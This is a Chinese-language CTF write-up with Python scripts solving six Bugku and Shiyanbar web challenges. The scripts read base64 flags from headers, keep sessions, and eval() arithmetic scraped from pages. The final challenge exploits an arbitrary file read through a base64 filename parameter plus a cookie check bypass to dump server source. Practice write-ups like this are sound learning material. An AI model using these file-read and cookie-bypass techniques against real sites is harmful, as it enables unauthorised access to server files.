目录
①Bugku-GET
②Bugku-POST
③实验吧-天下武功唯快不破
④Bugku-速度要快
⑤Bugku-秋名山车神
①Bugku-GET
import requests
resp=requests.get(url='http://114.67.175.224:12922/',params={'what':'flag'})
print(resp.text)
//或者
//resp=requests.get(url='http://114.67.175.224:12922/?what=flag')
//print(resp.text)
②Bugku-POST
import requests
data={'what':'flag'}
resp=requests.post(url='http://114.67.175.224:14821/?what=flag',data=data)
print(resp.text)
③实验吧-天下武功唯快不破
右键查看源码
提示信息搜集,bp抓包看到flag的base64编码在相应头
经过尝试发现flag是不断变化的
显然手速跟不上服务器更新速度,写脚本即可
import requests
import base64
r1=requests.get(url='http://ctf5.shiyanbar.com/web/10/10.php')
test=base64.b64decode(r1.headers['FLAG'])
# print(test)
# b'P0ST_THIS_T0_CH4NGE_FL4G:L55DH81RK'
flag=test[-9:]
data={'key':flag}
r2=requests.post(url='http://ctf5.shiyanbar.com/web/10/10.php',data=data)
print(r2.text)
④Bugku-速度要快
这题从响应头中获得的flag经Base64解码之后,得到的数值仍然是一个Base64编码之后的数据,需要再次解码。此外还需要考虑session。
bp抓包
响应头flag常规base64解码会报中文乱码所以拿下面脚本跑一下
import base64
test=base64.b64decode('6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTVRZME1USTA=')
test_decode=test.decode('utf-8')
print(test_decode)
ok试明白了,接下来写脚本
import requests
import base64
r1=requests.get('http://114.67.175.224:14456/')
# print(r1.headers['flag'])
r2=(base64.b64decode(r1.headers['flag'])).decode('utf-8')
# print(r2)
r3=r2[14:]
r4=base64.b64decode(r3)
data={'margin':r4}
r5=requests.post(url='http://114.67.175.224:14456/',data=data)
print(r5.text)
这是什么情况呢?
怀疑是要session会话保持,我们可以写脚本看一下请求头和响应头
import requests
r1=requests.get('http://114.67.175.224:14456/')
print(r1.headers)
print(r1.request.headers)
可以看到不管发几次包我们的请求头都不带cookie的字段
因为python直接去请求服务器是没有cookie的,所以要用requests模块里的session类。Session
类是requests
模块中的一个重要组件,它允许你创建一个持久化的会话,以便在多个请求之间保持状态和共享参数。使用Session
对象,你可以在多个请求中共享Cookie、身份验证凭据、请求头等信息,从而简化了对复杂交互的处理过程。
修改脚本
import requests
import base64
s=requests.session()
r1=s.get('http://114.67.175.224:14456/')
#print(r1.headers['flag'])
r2=(base64.b64decode(r1.headers['flag'])).decode('utf-8')
# print(r2)
r3=r2[14:]
r4=base64.b64decode(r3)
data={'margin':r4}
r5=s.post(url='http://114.67.175.224:14456/',data=data)
print(r5.text)
⑤Bugku-秋名山车神
import requests
import re
url = 'http://114.67.175.224:19164/'
session1 = requests.session()
resp= session1.get(url)
result = re.search(r'(\d+[+\-*])+(\d+)', resp.text)
res = result.group()
val = eval(res)
data = {'value': val}
flag = session1.post(url, data=data)
print(flag.text)
⑥Bugku-cookies
把请求头的filename base64解码一下
直接url访问keys.txt发现和初始界面回显内容一致 ,存在任意文件读取
尝试读index.php的源码
?line=n&filename=aW5kZXgucGhw (通过改变n的值可以逐行读取源码)
一行一行手输太麻烦了,这里可以写脚本
首先先简单判断下有多少行,随便试一试,试出来是18行
贴出代码
import requests
url='http://114.67.175.224:17337/index.php'
s=requests.session()
for i in range(19):
r1=s.get(url=url,params={'line':str(i),'filename':'aW5kZXgucGhw'})
print(r1.text)
跑出源码
贴出源码
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
意思就是如果用户的 Cookie 中存在名为 'margin' 的值且其值为 'margin',则将额外添加一个文件 'keys.php' 到 $file_list 中。
改filename和cookie即可